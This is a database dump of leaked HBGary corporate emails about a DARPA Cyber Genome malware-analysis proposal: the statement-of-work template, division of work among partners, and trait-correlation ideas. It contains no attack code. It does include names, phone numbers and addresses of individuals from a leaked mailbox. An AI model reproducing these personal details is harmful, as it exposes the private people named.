(for each Sub).\r\n\r\nPlease review, let me know\r\nif you feel anything should be added, reworded or removed.&nbsp; If you approve\r\nas is, please respond with &#8220;approve&#8221;.\r\n\r\nI&#8217;ll post the&nbsp;final&nbsp;&#8220;template&#8221; into our\r\nsharepoint site as soon as it becomes available.\r\n\r\n&lt;&lt;DARPA_SOW_TEMPLATE_ATTACHMENT\r\n1.docx&gt;&gt;\r\n\r\nRegards,\r\n\r\nStefanie\r\nCorcino, PMP\r\nProgram Manager - Subcontracts\r\nGeneral Dynamics - Advanced Information Systems\r\n1405 N. Fiesta Blvd.\r\nGilbert, AZ. 85233\r\nDirect Line:\r\n480.355.7707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nThis email\r\nmessage is for the sole use of the intended recipient\'s) and may contain GDAIS\r\nconfidential or privileged information. Any unauthorized review, use,\r\ndisclosure or distribution is prohibited. If you are not an intended recipient,\r\nplease contact the sender by reply email and destroy all copies of the original\r\nmessage.\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8244,'aaron_hbgary_com/8244.html'),(3404,'2010-03-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001665.M352588P3547Q3405.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA Cyber Genome SOW template','Agreed, but we want to do it carefully and I think we should start to do it as a part of the technical conversation tomorrow. &nbsp;I am going to reply to Jasons email and then we can continue tomorrow. &nbsp;If we attack it directly I think it will just smell of pure workshare grabbing. &nbsp;And what we don\'t know is what level of effort they see in each task. our 2 tasks to their 4 tasks might be equal in share, don\'t know.I sent GD some information from our SBIR work, so they have some of that information. &nbsp;Lets just stick with the technical discussion for now.AaronOn Mar 2, 2010, at 5:40 PM, Bob Slapnik wrote:Aaron,&nbsp;I think it is time to tell GD that HBGary has boatloads of history developing similar work to UC Berkley – execution trees, data trace analysis, etc. etc.&nbsp; They are dividing up the work and money.&nbsp; Now is the time to make sure we don’t get shortchanged.&nbsp;&nbsp; I was going to write the email, but decided to write this one to you first.&nbsp;I am not saying kick UC Berkley off the team.&nbsp; I want GD to know our history.&nbsp;Bob&nbsp;From:&nbsp;Upchurch, Jason R. [mailto:jason.upchurch@gd-ais.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 5:29 PMTo:&nbsp;Bob Slapnik; Aaron Barr; Starr, Christopher H.; Vela, RyanCc:&nbsp;Ted VeraSubject:&nbsp;RE: DARPA Cyber Genome SOW template&nbsp;The base technology that UC Berkley has done is geared toward binary analysis; however, that does not mean that it has no value in correlation.&nbsp; For instance, symbolic execution can generate execution trees that can be used for spacial correlation.&nbsp; The same can be said for data flow (data trace analysis).&nbsp; Execution behaviors also place malware into human recognizable groups (worms, bots, etc) that will be invaluable in any human interface to a correlation database.&nbsp;As I have said, I realize that task #3 would provide some, possibly all, of this type of information.&nbsp; The key here is that it would be this “type” of information.&nbsp; That does not lend itself to correlation.&nbsp; The research in tech area #1 is producing information that is useful in correlation.&nbsp; That information has to be very specific, predictable, reliable, and consistent across many different pieces of malware.&nbsp; Simply producing the information is not enough, nor is it revolutionary.&nbsp; Producing uniform information in a predictable way, so that correlation becomes possible is the goal.&nbsp;I don’t believe that having a schema for information is remotely adequate for the task either.&nbsp; Such information would be useful for generic categorization, but not for correlation.&nbsp; Simply knowing malware A and malware B share IRC connectivity, key logging, and rooting make them related in a generic sense, but does not show correlation (that share the same code base), though the information does contribute to correlation.&nbsp;We are developing method for developing signatures (compound signatures really) of functions, internal obfuscation, behaviors, artifacts, and maps that would be useful in correlation.&nbsp; There are several analysis techniques that will have application in both capabilities analysis and correlation; however, the output is not likely to be remotely similar.&nbsp; \\&nbsp;JasonFrom:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 12:56 PMTo:&nbsp;\'Aaron Barr\'; Starr, Christopher H.Cc:&nbsp;\'Ted Vera\'; Upchurch, Jason R.Subject:&nbsp;RE: DARPA Cyber Genome SOW template&nbsp;Aaron,&nbsp;Yes, I see UC Berkley being a better fit for #3 because that work is geared toward binary analysis.&nbsp; I see SRI’s decompilation as being a good fit for #1 because normalization of data is more important for #1 than #3.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 2:40 PMTo:&nbsp;Starr, Christopher H.Cc:&nbsp;Bob Slapnik; Ted Vera; Jason R. UpchurchSubject:&nbsp;Re: DARPA Cyber Genome SOW template&nbsp;The hard part for me right now (I guess chicken and egg problem) is its hard for me to write a 4 year SOW when I am not sure under which framework we are working under. &nbsp;We have ideas using more granularly identified traits as well as other \"hard artifacts\" to do relationship analysis. &nbsp;But I am not sure that is the approach you are going for.&nbsp;As an example. &nbsp;As you develop out your traits and artifact schema (this would be the normalization of the data), we would look for uniqueness or similarities in the traits (which represent the properties and behaviors), if a trait is unique, how unique. &nbsp;It can\'t be an exact match, we have to do some fuzzy analysis to do some percentage of match. &nbsp;Is all the code the same but there is a new variable type, or a word mispelling, etc. &nbsp;Needs to be a tool that can help do the analysis and the marking. &nbsp;So when the analysis is done the analyst can mark as a parent or child, etc.&nbsp;A graphic interface that allows you to visualize a piece of software and its traits with linkages to its lineage, maybe colorcoded or some other visual cue for similarity. &nbsp;So some lines are more closely related than others, so something that is spatially close would be more similar in color, etc.&nbsp;So HBGary and HBGary Federal can handle the trait enumeration and correlation of traits into lineages. &nbsp;We can work with Secure Decisions to develop the approaches to graphically represent this. &nbsp;Secure Decisions will be working on TA3 to develop visualizations for software behaviors in loop and linear software maps.&nbsp;So building of traits and trait correlation. &nbsp;But is this within the right approach?&nbsp;And again I think the benefit of SRI and UCBerkley in de-obsfucation and code execution is more for TA3 than TA1.&nbsp;Aaron&nbsp;&nbsp;On Mar 2, 2010, at 12:43 PM, Starr, Christopher H. wrote:&nbsp;We (internal GD) first have to do the SOW for the teaming agreement, which is a general statement of what we expect everyone to be contributing.&nbsp; We are working on a template for the 4-year Statement of Work.&nbsp;Let’s concentrate on the 4-year Statement of Work content.&nbsp;Chris&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 12:30 PMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;RE: DARPA Cyber Genome SOW template&nbsp;Chris,&nbsp;This looks like the SOW for the teaming agreement, not the SOW for the actual work for DARPA.&nbsp; In other words, it is the work HBGary will do between now and March 15.&nbsp; Do I have this correct?&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;From:&nbsp;Starr, Christopher H. [mailto:Chris.Starr@gd-ais.com]&nbsp;Sent:&nbsp;Tuesday, March 02, 2010 12:20 PMTo:&nbsp;Bob Slapnik (HBGary)Subject:&nbsp;FW: DARPA Cyber Genome SOW template&nbsp;Bob, FYI, here is a SOW template.&nbsp; We do want everyone to send an initial draft of their SOWs today.&nbsp; I have sent this to Aaron as well.Chris_____________________________________________From:&nbsp;Corcino, Stefanie E.Subject:&nbsp;DARPA Cyber Genome SOW templateAll,I have created a boilerplate SOW for use on this proposal.&nbsp; Areas in red are where we need to add Company specifics (for each Sub).Please review, let me know if you feel anything should be added, reworded or removed.&nbsp; If you approve as is, please respond with “approve”.I’ll post the&nbsp;final&nbsp;“template” into our sharepoint site as soon as it becomes available.&lt;&lt;DARPA_SOW_TEMPLATE_ATTACHMENT 1.docx&gt;&gt;Regards,Stefanie Corcino, PMPProgram Manager - SubcontractsGeneral Dynamics - Advanced Information Systems1405 N. Fiesta Blvd.Gilbert, AZ. 85233Direct Line: 480.355.7707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;This email message is for the sole use of the intended recipient\'s) and may contain GDAIS confidential or privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply email and destroy all copies of the original message.No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/02/10 02:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10 02:34:00No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10 02:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11392,'aaron_hbgary_com/11392.html'),(3405,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001665.M41232P3547Q3404.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA Cyber Genome SOW template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI think it is time to tell GD that HBGary has boatloads of\r\nhistory developing similar work to UC Berkley &#8211; execution trees, data trace\r\nanalysis, etc. etc.&nbsp; They are dividing up the work and money.&nbsp; Now is the time\r\nto make sure we don&#8217;t get shortchanged.&nbsp;&nbsp; I was going to write the email, but\r\ndecided to write this one to you first.\r\n\r\n&nbsp;\r\n\r\nI am not saying kick UC Berkley off the team.&nbsp; I want GD to know\r\nour history.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Upchurch, Jason R.\r\n[mailto:jason.upchurch@gd-ais.com] \r\nSent: Tuesday, March 02, 2010 5:29 PM\r\nTo: Bob Slapnik; Aaron Barr; Starr, Christopher H.; Vela, Ryan\r\nCc: Ted Vera\r\nSubject: RE: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe base technology that UC Berkley has done is geared toward\r\nbinary analysis; however, that does not mean that it has no value in\r\ncorrelation.&nbsp; For instance, symbolic execution can generate execution\r\ntrees that can be used for spacial correlation.&nbsp; The same can be said for\r\ndata flow (data trace analysis).&nbsp; Execution behaviors also place malware\r\ninto human recognizable groups (worms, bots, etc) that will be invaluable in\r\nany human interface to a correlation database.\r\n\r\n&nbsp;\r\n\r\nAs I have said, I realize that task #3 would provide some,\r\npossibly all, of this type of information.&nbsp; The key here is that it would\r\nbe this &#8220;type&#8221; of information.&nbsp; That does not lend itself to\r\ncorrelation.&nbsp; The research in tech area #1 is producing information that\r\nis useful in correlation.&nbsp; That information has to be very specific,\r\npredictable, reliable, and consistent across many different pieces of\r\nmalware.&nbsp; Simply producing the information is not enough, nor is it\r\nrevolutionary.&nbsp; Producing uniform information in a predictable way, so that\r\ncorrelation becomes possible is the goal.\r\n\r\n&nbsp;\r\n\r\nI don&#8217;t believe that having a schema for information is remotely\r\nadequate for the task either.&nbsp; Such information would be useful for\r\ngeneric categorization, but not for correlation.&nbsp; Simply knowing malware A\r\nand malware B share IRC connectivity, key logging, and rooting make them\r\nrelated in a generic sense, but does not show correlation (that share the same\r\ncode base), though the information does contribute to correlation.\r\n\r\n&nbsp;\r\n\r\nWe are developing method for developing signatures (compound\r\nsignatures really) of functions, internal obfuscation, behaviors, artifacts,\r\nand maps that would be useful in correlation.&nbsp; There are several analysis\r\ntechniques that will have application in both capabilities analysis and\r\ncorrelation; however, the output is not likely to be remotely similar.&nbsp; \\\r\n\r\n&nbsp;\r\n\r\nJason\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, March 02, 2010 12:56 PM\r\nTo: \'Aaron Barr\'; Starr, Christopher H.\r\nCc: \'Ted Vera\'; Upchurch, Jason R.\r\nSubject: RE: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nYes, I see UC Berkley being a better fit for #3 because that\r\nwork is geared toward binary analysis.&nbsp; I see SRI&#8217;s decompilation as being\r\na good fit for #1 because normalization of data is more important for #1 than\r\n#3.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Tuesday, March 02, 2010 2:40 PM\r\nTo: Starr, Christopher H.\r\nCc: Bob Slapnik; Ted Vera; Jason R. Upchurch\r\nSubject: Re: DARPA Cyber Genome SOW template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe hard part for me right now (I guess chicken and egg\r\nproblem) is its hard for me to write a 4 year SOW when I am not sure under\r\nwhich framework we are working under. &nbsp;We have ideas using more granularly\r\nidentified traits as well as other &quot;hard artifacts&quot; to do\r\nrelationship analysis. &nbsp;But I am not sure that is the approach you are\r\ngoing for.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs an example. &nbsp;As you develop out your traits and\r\nartifact schema (this would be the normalization of the data), we would look\r\nfor uniqueness or similarities in the traits (which represent the properties\r\nand behaviors), if a trait is unique, how unique. &nbsp;It can\'t be an exact\r\nmatch, we have to do some fuzzy analysis to do some percentage of match.\r\n&nbsp;Is all the code the same but there is a new variable type, or a word\r\nmispelling, etc. &nbsp;Needs to be a tool that can help do the analysis and the\r\nmarking. &nbsp;So when the analysis is done the analyst can mark as a parent or\r\nchild, etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA graphic interface that allows you to visualize a piece of\r\nsoftware and its traits with linkages to its lineage, maybe colorcoded or some\r\nother visual cue for similarity. &nbsp;So some lines are more closely related\r\nthan others, so something that is spatially close would be more similar in\r\ncolor, etc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo HBGary and HBGary Federal can handle the trait\r\nenumeration and correlation of traits into lineages. &nbsp;We can work with Secure\r\nDecisions to develop the approaches to graphically represent this. &nbsp;Secure\r\nDecisions will be working on TA3 to develop visualizations for software\r\nbehaviors in loop and linear software maps.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo building of traits and trait correlation. &nbsp;But is\r\nthis within the right approach?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd again I think the benefit of SRI and UCBerkley in\r\nde-obsfucation and code execution is more for TA3 than TA1.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 2, 2010, at 12:43 PM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe (internal GD) first have to do the SOW for the teaming\r\nagreement, which is a general statement of what we expect everyone to be\r\ncontributing.&nbsp; We are working on a template for the 4-year Statement of\r\nWork.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s concentrate on the 4-year Statement of Work content.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 02,\r\n2010 12:30 PM\r\nTo:&nbsp;Starr, Christopher H.\r\nSubject:&nbsp;RE: DARPA Cyber\r\nGenome SOW template\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis looks like the SOW for the teaming agreement, not the SOW\r\nfor the actual work for DARPA.&nbsp; In other words, it is the work HBGary will\r\ndo between now and March 15.&nbsp; Do I have this correct?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Starr, Christopher\r\nH. [mailto:Chris.Starr@gd-ais.com]&nbsp;\r\nSent:&nbsp;Tuesday, March 02,\r\n2010 12:20 PM\r\nTo:&nbsp;Bob Slapnik (HBGary)\r\nSubject:&nbsp;FW: DARPA Cyber\r\nGenome SOW template\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob, FYI, here is a SOW\r\ntemplate.&nbsp; We do want everyone to send an initial draft of their SOWs\r\ntoday.&nbsp; I have sent this to Aaron as well.\r\n\r\nChris\r\n\r\n_____________________________________________\r\nFrom:&nbsp;Corcino, Stefanie E.\r\nSubject:&nbsp;DARPA Cyber\r\nGenome SOW template\r\n\r\nAll,\r\n\r\nI have created a boilerplate\r\nSOW for use on this proposal.&nbsp; Areas in red are where we need to add\r\nCompany specifics (for each Sub).\r\n\r\nPlease review, let me know\r\nif you feel anything should be added, reworded or removed.&nbsp; If you approve\r\nas is, please respond with &#8220;approve&#8221;.\r\n\r\nI&#8217;ll post the&nbsp;final&nbsp;&#8220;template&#8221; into our sharepoint site\r\nas soon as it becomes available.\r\n\r\n&lt;&lt;DARPA_SOW_TEMPLATE_ATTACHMENT\r\n1.docx&gt;&gt;\r\n\r\nRegards,\r\n\r\nStefanie\r\nCorcino, PMP\r\nProgram Manager - Subcontracts\r\nGeneral Dynamics - Advanced Information Systems\r\n1405 N. Fiesta Blvd.\r\nGilbert, AZ. 85233\r\nDirect Line:\r\n480.355.7707&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nThis email\r\nmessage is for the sole use of the intended recipient\'s) and may contain GDAIS\r\nconfidential or privileged information. Any unauthorized review, use,\r\ndisclosure or distribution is prohibited. If you are not an intended recipient,\r\nplease contact the sender by reply email and destroy all copies of the original\r\nmessage.\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus found\r\nin this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10\r\n02:34:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16293,'aaron_hbgary_com/16293.html'),(3406,'2010-03-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001667.M266401P3547Q3406.eml','\"Aaron Barr\" <aaron@hbgary.com>,Ryan.Vela@gd-ais.com','RE: HB Gary Logo','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRyan,\r\n\r\n&nbsp;\r\n\r\nI hope this logo has good enough resolution.&nbsp; Tell me if it does\r\nnot.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 02, 2010 5:29 PM\r\nTo: Bob Slapnik\r\nSubject: Fwd: HB Gary Logo\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Vela,\r\nRyan&quot; &lt;Ryan.Vela@gd-ais.com&gt;\r\nDate: March 2, 2010 5:20:47 PM EST\r\nTo: &lt;aaron@hbgary.com&gt;\r\nSubject: HB Gary Logo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nCan you send\r\nme a logo in good resolution for inclusion in the proposal?\r\n\r\nThanks,\r\n\r\nRyan Vela\r\nLead Cyber Security Forensic Examiner\r\n\r\nCyber\r\nProtection and Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile:\r\n832-867-5201\r\n\r\nThis\r\nemail message is for the sole use of the intended recipient(s) and may contain\r\nconfidential and privileged information. Any unauthorized review, use,\r\ndisclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply email and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/02/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11921,'aaron_hbgary_com/11921.html'),(3407,'2010-03-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001669.M997649P3547Q3407.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,bob@hbgary.com','Additional notes for BAA from Greg',' \r\nAaron, Ted,\r\nAttached is a second document with about 10 more pages on extracting general patterns from the malware behavior, and a very short section showing some attribution.\r\n \r\n-Greg\r\n',6156,'aaron_hbgary_com/6156.html'),(3408,'2010-03-02','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001670.M283761P3547Q3408.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Attached DRAFT material for BAA from Greg',' \r\nJust to be clear, I have not included any of our current technology in this proposal.  We are, in essence, proposing to rewrite digital DNA again from scratch.  Same for REcon, the system proposed does not use any technology from REcon.  So, your questions about gaps don&#39;t really apply since we would be starting from scratch. Regarding attribution, we aren&#39;t really addressing that since you can&#39;t do that automatically.  Analysts could attempt attribution by using the results of the analysis and such, but attribution is a big word.\r\n\r\n \r\nI don&#39;t really know how this effects intellectual property.  It makes me nervous to be arming other companies with our methods and ideas regarding digital dna.  \r\n \r\n-Greg\r\nOn 